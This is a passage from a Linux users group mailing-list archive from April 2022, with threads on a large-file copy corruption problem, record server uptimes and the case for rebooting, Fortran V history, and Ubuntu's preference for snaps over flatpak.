some > notes opn the results of the tests. > > > > Any advice or help would be appreciated. > > > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/UQDQP… >

April 28, 2022

Re: Possible linux or hardware bug?

by Chuck Anderson

What are the kernel version(s)? What filesystem? I suggest: - Try memtest86+ - Try a live Fedora 35 on a USB stick since all your other tests were relying on Ubuntu, even the Windows 10 which was a VM on Ubuntu. Fedora usually has much newer kernels, so if there is a Linux bug, it might be fixed already. On Thu, Apr 28, 2022 at 11:55:04AM -0400, Kevin Stratton via WLUG wrote: > > I have been chasing my tail trying to download a very large to my desktop. The bug is strange enough that it might be specific to hardware. > > The issue is that I can not copy very large files accurately. The threshold value size of the file seems to be about 8589934592. Any file this size or larger seems to be uncopyable on my desktop. > > I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All of theses OS;s were running on the same hardware. > > I had no issues downloading the file from a raspberry pi with and external hard drive. > > I have included the C file I used to create the files which also has some notes opn the results of the tests. > > > > Any advice or help would be appreciated.

April 28, 2022

Possible linux or hardware bug?

by Kevin Stratton

I have been chasing my tail trying to download a very large to my desktop. The bug is strange enough that it might be specific to hardware. The issue is that I can not copy very large files accurately. The threshold value size of the file seems to be about 8589934592. Any file this size or larger seems to be uncopyable on my desktop. I had downloaded a corrupted file of 71.9GB with Ubuntu 20.04, Ubuntu 22.04, Windows 10 virtua machine running under Ubuntu 20.04, Manjaro. All of theses OS;s were running on the same hardware. I had no issues downloading the file from a raspberry pi with and external hard drive. I have included the C file I used to create the files which also has some notes opn the results of the tests. Any advice or help would be appreciated.

April 28, 2022

Re: Uptime!

by Richard Klein

Is that really a useful data point? I'm thinking that past reboot performance is not indicative of future returns. On Thu, Apr 21, 2022, 10:06 AM Michael Voorhis via WLUG <wlug(a)lists.wlug.org> wrote: > Additionally if you never reboot, how do you know the machine WILL > reboot? How do you know what the system will do after a power failure, > etc? Fate will intervene at some point and force you to reboot whether > you want to or not, so you should be prepared with the knowledge of how > the system will respond to that. > > On 4/21/22 09:54, David Glaser via WLUG wrote: > > It you kept it up all of the time, how would you apply updates that > > require a re-boot? > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/2CNXU… >

April 26, 2022

Re: Uptime!

by John Stoffel

Tim> I just shutdown a linux machine with 3169 days of uptime! Aww... why?!?! Tim> It had userland processes that have been actively running since 2013! I'm quite impressed. Can you give more details on the OS, hardware, etc?

April 26, 2022

Re: Snaps and the future of Ubuntu

by Dennis Payne

I think history has shown that the fragmentation will decrease. It would increase if Ubuntu continued to focus on its walled garden and succeeded but Ubuntu is not good at that. They pushed upstart but the community went with systemd. They pushed Mir but the community went with Wayland. They pushed Unity but dropped it for Gnome. Maybe they do better with smaller contributions to existing projects but their attempts to drive the linux community has largely failed. On Mon, 2022-04-25 at 13:42 -0400, Joshua Stone via WLUG wrote: > Last week marked the release of Ubuntu 22.04 LTS, and so far it looks > like some noteworthy improvements over the last LTS, notably Wayland > being enabled for Intel/AMD users by default! > > There is no Wayland enablement for Nvidia users in 22.04 LTS though, > and Pulseaudio is still the default audio server instead of the more > modern pipewire+wireplumber that's been appearing in other > distributions. It also appears that Firefox in 22.04 LTS is now > installed as a snap at the request of Mozilla, and it drops the deb > package from the official repo. > > Also interesting is that Ubuntu will continue to avoid supporting > flatpak in favor of snap, as explained by Mark Shuttleworth: > > https://www.omgubuntu.co.uk/2022/04/ubuntu-wont-support-flatpak-anytime-soon > > >I can say right now Flatpak’s wouldn’t work for us. I don’t think > they have the security story and I also don’t think they have the > ability to deliver the same integrity of execution over time that > Snaps have ‘cos we built those things into Snaps > > >I like the fact that people have a diversity of opinions on ways to > solve the problem […] but I also think we’re going to deliver a far > better experience to developers and to users if we concentrate our > efforts around something we really can move forward. > > I respectfully disagree with Shuttlesworth's appraisal, because it > seems to contradict the overall experience I've seen from open source > projects that have a tendency to package flatpaks and appimages which > in turn tend to be well-supported across many distributions. > > While I understand that it's very easy to set up flatpak in Ubuntu > these days, I'm still disappointed that this is the stance Ubuntu is > taking because I feel that this doesn't quite align with the > interests of the Linux community at large who're trying to improve > the desktop experience. > > I worry that the distribution that got me into Linux years ago will > increase fragmentation as time goes on if it continues to focus on > its walled garden approach. What do you think? > > - Josh > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GZEMS…

April 25, 2022

Snaps and the future of Ubuntu

by Joshua Stone

Last week marked the release of Ubuntu 22.04 LTS <https://ubuntu.com/blog/ubuntu-22-04-lts-released>, and so far it looks like some noteworthy improvements over the last LTS, notably Wayland being enabled for Intel/AMD users by default! There is no Wayland enablement for Nvidia users in 22.04 LTS though, and Pulseaudio is still the default audio server instead of the more modern pipewire+wireplumber that's been appearing in other distributions. It also appears that Firefox in 22.04 LTS is now installed as a snap at the request of Mozilla, and it drops the deb package from the official repo. Also interesting is that Ubuntu will continue to avoid supporting flatpak in favor of snap, as explained by Mark Shuttleworth: https://www.omgubuntu.co.uk/2022/04/ubuntu-wont-support-flatpak-anytime-soon *>I can say right now Flatpak’s wouldn’t work for us. I don’t think they have the security story and I also don’t think they have the ability to deliver the same integrity of execution over time that Snaps have ‘cos we built those things into Snaps* >*I like the fact that people have a diversity of opinions on ways to solve the problem […] but I also think we’re going to deliver a far better experience to developers and to users if we concentrate our efforts around something we really can move forward.* I respectfully disagree with Shuttlesworth's appraisal, because it seems to contradict the overall experience I've seen from open source projects that have a tendency to package flatpaks and appimages which in turn tend to be well-supported across many distributions. While I understand that it's very easy to set up flatpak in Ubuntu <https://flatpak.org/setup/Ubuntu> these days, I'm still disappointed that this is the stance Ubuntu is taking because I feel that this doesn't quite align with the interests of the Linux community at large who're trying to improve the desktop experience. I worry that the distribution that got me into Linux years ago will increase fragmentation as time goes on if it continues to focus on its walled garden approach. What do you think? - Josh

April 25, 2022

Re: Uptime!

by Jon "maddog" Hall

Thanks for the info. I went from FORTRAN to FORTRAN II to FORTRAN IV to FORTRAN 66, then FORTRAN 77 with a brief dabbling in WATFOR. md On Thu, Apr 21, 2022 at 8:08 PM Michael Voorhis <mvoorhis(a)mcvau.net> wrote: > Wikipedia's "Fortran" page has descriptions for both Fortran-5 (Data > General) and Fortran-V (Control Data). > > from https://en.wikipedia.org/wiki/Fortran : > > Fortran 5 was marketed by Data General Corp in the late 1970s and > > early 1980s, for the Nova, Eclipse, and MV line of computers. It had > > an optimizing compiler that was quite good for minicomputers of its > > time. The language most closely resembles FORTRAN 66. > > > > FORTRAN V was distributed by Control Data Corporation in 1968 for the > > CDC 6600 series. The language was based upon FORTRAN IV.[64] >

April 22, 2022

Re: Uptime!

by Michael Voorhis

Wikipedia's "Fortran" page has descriptions for both Fortran-5 (Data General) and Fortran-V (Control Data). from https://en.wikipedia.org/wiki/Fortran : > Fortran 5 was marketed by Data General Corp in the late 1970s and > early 1980s, for the Nova, Eclipse, and MV line of computers. It had > an optimizing compiler that was quite good for minicomputers of its > time. The language most closely resembles FORTRAN 66. > > FORTRAN V was distributed by Control Data Corporation in 1968 for the > CDC 6600 series. The language was based upon FORTRAN IV.[64]

April 22, 2022

Re: Uptime!

by Mike Peckar

md, Here's where I saw the reference to Fortran V wrt Voyager's CSS... https://www.allaboutcircuits.com/news/voyager-mission-anniversary-computers… From http://www.quadibloc.com/comp/fort04.htm.... IBM never defined a language called FORTRAN V, or provided a compiler for it, but some of its competitors used the term for their extended versions of FORTRAN. Univac and Data General are two companies that sold compilers for a language which they called FORTRAN V. In general, FORTRAN V compilers included the CHARACTER data type as a standard feature of the language, and they added the ENCODE and DECODE statements as well. These statements allowed a character variable to be used instead of an input-output device as the source for a formatted read, or the target of a formatted write, and they looked like this: CHARACTER*80 BUFFER ... ENCODE(80,11,BUFFER),X,Y,Z ... DECODE(80,10,BUFFER),P,Q,R ... STOP 10 FORMAT (3F12.5) 11 FORMAT (3F12.5) END Mike On Thu, Apr 21, 2022 at 6:20 PM Jon "maddog" Hall <jon.maddog.hall(a)gmail.com> wrote: > I had not heard of Fortran 5 (or Fortran V) and a half-hearted search of > the Internet did not find anything. > > Do you have any pointers to it? > > Thanks, > > md > > On Thu, Apr 21, 2022, 18:09 Mike Peckar <mpeckar(a)gmail.com> wrote: > >> According to the Guiness Book of World records, The computer system that >> has been in continual operation for the longest period is the Computer >> Command System (CCS) onboard NASA's *Voyager 2* spacecraft. This system >> has been in continuous operation since the spacecraft's launch on 20 August >> 1977. Voyager 1's CCS uptime trails it by a couple of weeks and both are >> still going. >> >> Each Voyager has two CCSs, two Flight Data System (FDS) computers and two >> Attitude and Articulation Control System (AACS) computers, but the FDS & >> AACS do not operate continuously. The CCS's have two 18-bit word, interrupt >> type processors with 4096 words each of non-volatile plated wire memory >> amounting to 69.63 kilobytes. They execute about 81,000 instructions per >> second and transmit data back to Earth at 160 bits per second. They were >> originally programmed in Fortran 5. >> >> Mike >> >> On Thu, Apr 21, 2022 at 12:32 PM Jon "maddog" Hall < >> jon.maddog.hall(a)gmail.com> wrote: >> >>> Mike, >>> >>> Believe it or not, both VMS and Digital Unix systems were the same way. >>> They would go months and years without rebooting. >>> >>> The US Navy had two hospital ships, the "Mercy" and the "Hope". One >>> stationed on the East Coast and one in San Diego. The one on the East >>> Coast used WNT for the servers and the one in San Diego used GNU/Linux. >>> The ship using WNT had to have twice as many servers as the one in San >>> Diego because the Navy rules said that a WNT server HAD to be rebooted >>> every 30 days, whereas there was no such requirement for GNU/Linux. Since >>> a Naval deployment could last longer than 30 days, and since they needed >>> the server services to be up constantly that whole time, they needed twice >>> as many WNT servers. >>> >>> md >>> >>> On Thu, Apr 21, 2022 at 8:58 AM Mike Peckar via WLUG < >>> wlug(a)lists.wlug.org> wrote: >>> >>>> Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in >>>> Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up >>>> with memory leaks and I suggested they reboot that server. I was told flat >>>> out they don't reboot Solaris servers period. They cleaned up the mess and >>>> isolated where in the HP code that the pointer was lost, leaving me the >>>> not-so-fun task of filing the bug report with HP. >>>> >>>> Mike >>>> >>>> On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < >>>> wlug(a)lists.wlug.org> wrote: >>>> >>>>> Tim, >>>>> >>>>> What was the reason for shutting it down? >>>>> >>>>> This reminds me of a story from years ago where a young friend >>>>> contacted me before a trip to the University of New Hampshire for a Linux >>>>> LUG meeting. >>>>> >>>>> He asked me if I would go to a particular dorm and knock on the door >>>>> of what had been his door room. I was to ask if I could unplug the box >>>>> that was in the corner of the closet in the room. The system had been >>>>> running for five years in his former dorm room and he had forgotten the >>>>> login password. He did not want the machine back, just wanted it >>>>> unplugged. >>>>> >>>>> A young woman answered the door, heard my explanation and let me >>>>> unplug the machine. "We were afraid to unplug it" she said. >>>>> >>>>> Your machine beat his machine on uptime. >>>>> >>>>> md >>>>> >>>>> On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG < >>>>> wlug(a)lists.wlug.org> wrote: >>>>> >>>>>> I just shutdown a linux machine with 3169 days of uptime! >>>>>> It had userland processes that have been actively running since 2013! >>>>>> Tim. >>>>>> >>>>>> -- >>>>>> I am leery of the allegiances of any politician who refers to their >>>>>> constituents as "consumers". >>>>>> _______________________________________________ >>>>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>>>> Change Settings: >>>>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>>>> Web Forum/Archive: >>>>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >>>>>> >>>>> _______________________________________________ >>>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>>> Change Settings: >>>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>>> Web Forum/Archive: >>>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >>>>> >>>> _______________________________________________ >>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>> Change Settings: >>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>> Web Forum/Archive: >>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ZZZSN… >>>> >>>

April 21, 2022

Re: Uptime!

by Dan Davis

A branch for my company has one remaining Solaris box that keeps up a service or two with a ridiculous uptime and they recently built a new facility. In a meeting we were discussing the move plan for their entire IT kit and they asked me about the feasibility of moving the Solaris box across town on an UPS so they wouldn't have to shut it down. I kindly asked them to reconsider because while they might keep power applied for the whole ride it'd be unlikely that the disks would survive the trip. On Thu, Apr 21, 2022 at 8:58 AM Mike Peckar via WLUG <wlug(a)lists.wlug.org> wrote: > Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in > Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up > with memory leaks and I suggested they reboot that server. I was told flat > out they don't reboot Solaris servers period. They cleaned up the mess and > isolated where in the HP code that the pointer was lost, leaving me the > not-so-fun task of filing the bug report with HP. > > Mike > > On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < > wlug(a)lists.wlug.org> wrote: > >> Tim, >> >> What was the reason for shutting it down? >> >> This reminds me of a story from years ago where a young friend contacted >> me before a trip to the University of New Hampshire for a Linux LUG meeting. >> >> He asked me if I would go to a particular dorm and knock on the door of >> what had been his door room. I was to ask if I could unplug the box that >> was in the corner of the closet in the room. The system had been running >> for five years in his former dorm room and he had forgotten the login >> password. He did not want the machine back, just wanted it unplugged. >> >> A young woman answered the door, heard my explanation and let me unplug >> the machine. "We were afraid to unplug it" she said. >> >> Your machine beat his machine on uptime. >> >> md >> >> On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> >> wrote: >> >>> I just shutdown a linux machine with 3169 days of uptime! >>> It had userland processes that have been actively running since 2013! >>> Tim. >>> >>> -- >>> I am leery of the allegiances of any politician who refers to their >>> constituents as "consumers". >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >>> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ZZZSN… >

April 21, 2022

Re: Uptime!

by Jon "maddog" Hall

I had not heard of Fortran 5 (or Fortran V) and a half-hearted search of the Internet did not find anything. Do you have any pointers to it? Thanks, md On Thu, Apr 21, 2022, 18:09 Mike Peckar <mpeckar(a)gmail.com> wrote: > According to the Guiness Book of World records, The computer system that > has been in continual operation for the longest period is the Computer > Command System (CCS) onboard NASA's *Voyager 2* spacecraft. This system > has been in continuous operation since the spacecraft's launch on 20 August > 1977. Voyager 1's CCS uptime trails it by a couple of weeks and both are > still going. > > Each Voyager has two CCSs, two Flight Data System (FDS) computers and two > Attitude and Articulation Control System (AACS) computers, but the FDS & > AACS do not operate continuously. The CCS's have two 18-bit word, interrupt > type processors with 4096 words each of non-volatile plated wire memory > amounting to 69.63 kilobytes. They execute about 81,000 instructions per > second and transmit data back to Earth at 160 bits per second. They were > originally programmed in Fortran 5. > > Mike > > On Thu, Apr 21, 2022 at 12:32 PM Jon "maddog" Hall < > jon.maddog.hall(a)gmail.com> wrote: > >> Mike, >> >> Believe it or not, both VMS and Digital Unix systems were the same way. >> They would go months and years without rebooting. >> >> The US Navy had two hospital ships, the "Mercy" and the "Hope". One >> stationed on the East Coast and one in San Diego. The one on the East >> Coast used WNT for the servers and the one in San Diego used GNU/Linux. >> The ship using WNT had to have twice as many servers as the one in San >> Diego because the Navy rules said that a WNT server HAD to be rebooted >> every 30 days, whereas there was no such requirement for GNU/Linux. Since >> a Naval deployment could last longer than 30 days, and since they needed >> the server services to be up constantly that whole time, they needed twice >> as many WNT servers. >> >> md >> >> On Thu, Apr 21, 2022 at 8:58 AM Mike Peckar via WLUG <wlug(a)lists.wlug.org> >> wrote: >> >>> Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in >>> Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up >>> with memory leaks and I suggested they reboot that server. I was told flat >>> out they don't reboot Solaris servers period. They cleaned up the mess and >>> isolated where in the HP code that the pointer was lost, leaving me the >>> not-so-fun task of filing the bug report with HP. >>> >>> Mike >>> >>> On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < >>> wlug(a)lists.wlug.org> wrote: >>> >>>> Tim, >>>> >>>> What was the reason for shutting it down? >>>> >>>> This reminds me of a story from years ago where a young friend >>>> contacted me before a trip to the University of New Hampshire for a Linux >>>> LUG meeting. >>>> >>>> He asked me if I would go to a particular dorm and knock on the door of >>>> what had been his door room. I was to ask if I could unplug the box that >>>> was in the corner of the closet in the room. The system had been running >>>> for five years in his former dorm room and he had forgotten the login >>>> password. He did not want the machine back, just wanted it unplugged. >>>> >>>> A young woman answered the door, heard my explanation and let me unplug >>>> the machine. "We were afraid to unplug it" she said. >>>> >>>> Your machine beat his machine on uptime. >>>> >>>> md >>>> >>>> On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG < >>>> wlug(a)lists.wlug.org> wrote: >>>> >>>>> I just shutdown a linux machine with 3169 days of uptime! >>>>> It had userland processes that have been actively running since 2013! >>>>> Tim. >>>>> >>>>> -- >>>>> I am leery of the allegiances of any politician who refers to their >>>>> constituents as "consumers". >>>>> _______________________________________________ >>>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>>> Change Settings: >>>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>>> Web Forum/Archive: >>>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >>>>> >>>> _______________________________________________ >>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>> Change Settings: >>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>> Web Forum/Archive: >>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >>>> >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ZZZSN… >>> >>

April 21, 2022

Re: Uptime!

by Mike Peckar

According to the Guiness Book of World records, The computer system that has been in continual operation for the longest period is the Computer Command System (CCS) onboard NASA's *Voyager 2* spacecraft. This system has been in continuous operation since the spacecraft's launch on 20 August 1977. Voyager 1's CCS uptime trails it by a couple of weeks and both are still going. Each Voyager has two CCSs, two Flight Data System (FDS) computers and two Attitude and Articulation Control System (AACS) computers, but the FDS & AACS do not operate continuously. The CCS's have two 18-bit word, interrupt type processors with 4096 words each of non-volatile plated wire memory amounting to 69.63 kilobytes. They execute about 81,000 instructions per second and transmit data back to Earth at 160 bits per second. They were originally programmed in Fortran 5. Mike On Thu, Apr 21, 2022 at 12:32 PM Jon "maddog" Hall < jon.maddog.hall(a)gmail.com> wrote: > Mike, > > Believe it or not, both VMS and Digital Unix systems were the same way. > They would go months and years without rebooting. > > The US Navy had two hospital ships, the "Mercy" and the "Hope". One > stationed on the East Coast and one in San Diego. The one on the East > Coast used WNT for the servers and the one in San Diego used GNU/Linux. > The ship using WNT had to have twice as many servers as the one in San > Diego because the Navy rules said that a WNT server HAD to be rebooted > every 30 days, whereas there was no such requirement for GNU/Linux. Since > a Naval deployment could last longer than 30 days, and since they needed > the server services to be up constantly that whole time, they needed twice > as many WNT servers. > > md > > On Thu, Apr 21, 2022 at 8:58 AM Mike Peckar via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in >> Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up >> with memory leaks and I suggested they reboot that server. I was told flat >> out they don't reboot Solaris servers period. They cleaned up the mess and >> isolated where in the HP code that the pointer was lost, leaving me the >> not-so-fun task of filing the bug report with HP. >> >> Mike >> >> On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < >> wlug(a)lists.wlug.org> wrote: >> >>> Tim, >>> >>> What was the reason for shutting it down? >>> >>> This reminds me of a story from years ago where a young friend contacted >>> me before a trip to the University of New Hampshire for a Linux LUG meeting. >>> >>> He asked me if I would go to a particular dorm and knock on the door of >>> what had been his door room. I was to ask if I could unplug the box that >>> was in the corner of the closet in the room. The system had been running >>> for five years in his former dorm room and he had forgotten the login >>> password. He did not want the machine back, just wanted it unplugged. >>> >>> A young woman answered the door, heard my explanation and let me unplug >>> the machine. "We were afraid to unplug it" she said. >>> >>> Your machine beat his machine on uptime. >>> >>> md >>> >>> On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> >>> wrote: >>> >>>> I just shutdown a linux machine with 3169 days of uptime! >>>> It had userland processes that have been actively running since 2013! >>>> Tim. >>>> >>>> -- >>>> I am leery of the allegiances of any politician who refers to their >>>> constituents as "consumers". >>>> _______________________________________________ >>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>> Change Settings: >>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>> Web Forum/Archive: >>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >>>> >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >>> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ZZZSN… >> >

April 21, 2022

Re: Uptime!

by Jon "maddog" Hall

Mike, Believe it or not, both VMS and Digital Unix systems were the same way. They would go months and years without rebooting. The US Navy had two hospital ships, the "Mercy" and the "Hope". One stationed on the East Coast and one in San Diego. The one on the East Coast used WNT for the servers and the one in San Diego used GNU/Linux. The ship using WNT had to have twice as many servers as the one in San Diego because the Navy rules said that a WNT server HAD to be rebooted every 30 days, whereas there was no such requirement for GNU/Linux. Since a Naval deployment could last longer than 30 days, and since they needed the server services to be up constantly that whole time, they needed twice as many WNT servers. md On Thu, Apr 21, 2022 at 8:58 AM Mike Peckar via WLUG <wlug(a)lists.wlug.org> wrote: > Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in > Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up > with memory leaks and I suggested they reboot that server. I was told flat > out they don't reboot Solaris servers period. They cleaned up the mess and > isolated where in the HP code that the pointer was lost, leaving me the > not-so-fun task of filing the bug report with HP. > > Mike > > On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < > wlug(a)lists.wlug.org> wrote: > >> Tim, >> >> What was the reason for shutting it down? >> >> This reminds me of a story from years ago where a young friend contacted >> me before a trip to the University of New Hampshire for a Linux LUG meeting. >> >> He asked me if I would go to a particular dorm and knock on the door of >> what had been his door room. I was to ask if I could unplug the box that >> was in the corner of the closet in the room. The system had been running >> for five years in his former dorm room and he had forgotten the login >> password. He did not want the machine back, just wanted it unplugged. >> >> A young woman answered the door, heard my explanation and let me unplug >> the machine. "We were afraid to unplug it" she said. >> >> Your machine beat his machine on uptime. >> >> md >> >> On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> >> wrote: >> >>> I just shutdown a linux machine with 3169 days of uptime! >>> It had userland processes that have been actively running since 2013! >>> Tim. >>> >>> -- >>> I am leery of the allegiances of any politician who refers to their >>> constituents as "consumers". >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >>> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ZZZSN… >

April 21, 2022

Re: Uptime!

by Joseph G

Thankfully, fewer reboots and maximized uptime will become a feature in most distro/OSs. *RHEL has kpatch* https://www.redhat.com/en/blog/overcoming-vulnerabilities-live-kernel-patch… *Ubuntu has Live kernel patching and the new needrestart package* https://ubuntu.com/blog/an-overview-of-live-kernel-patching https://ubuntu.com/blog/ubuntu-server-21-10 *Windows 2022 (😂😁😂)* https://techcommunity.microsoft.com/t5/windows-server-essentials-and/window… Hopefully the future will have fewer reboots since the pace of vulnerabilities doesn't seem to be slowing down at all. I, for one, am very happy to see the technology maturing to match reality. 😁 Enjoy the weekend! On Thu, Apr 21, 2022 at 10:06 AM Michael Voorhis via WLUG < wlug(a)lists.wlug.org> wrote: > Additionally if you never reboot, how do you know the machine WILL > reboot? How do you know what the system will do after a power failure, > etc? Fate will intervene at some point and force you to reboot whether > you want to or not, so you should be prepared with the knowledge of how > the system will respond to that. > > On 4/21/22 09:54, David Glaser via WLUG wrote: > > It you kept it up all of the time, how would you apply updates that > > require a re-boot? > >

April 21, 2022

Re: Uptime!

by Tim Keller

This machine was a "ghost ship." It's use had long come and gone and people had moved their stuff off onto new machines. It was running 32bit RHEL 5.5 no patches, no nothing. It was a security risk at this point. To Mike's point, unless there's good change control, you run the danger of having a machine that's not ever going to reboot sensibly. A couple years ago I stumbled upon a linux box that was running an ancient version of mysql.. the database was up, but it was running out of a directory like /u01/mysql/bin The disk /u01 was LONG gone.. but the database continued to run.. it's data was being written off on to a different disk and things worked.. but it was clear that machine would never had rebooted. Tim. On Thu, Apr 21, 2022 at 10:06 AM Michael Voorhis via WLUG < wlug(a)lists.wlug.org> wrote: > Additionally if you never reboot, how do you know the machine WILL > reboot? How do you know what the system will do after a power failure, > etc? Fate will intervene at some point and force you to reboot whether > you want to or not, so you should be prepared with the knowledge of how > the system will respond to that. > > On 4/21/22 09:54, David Glaser 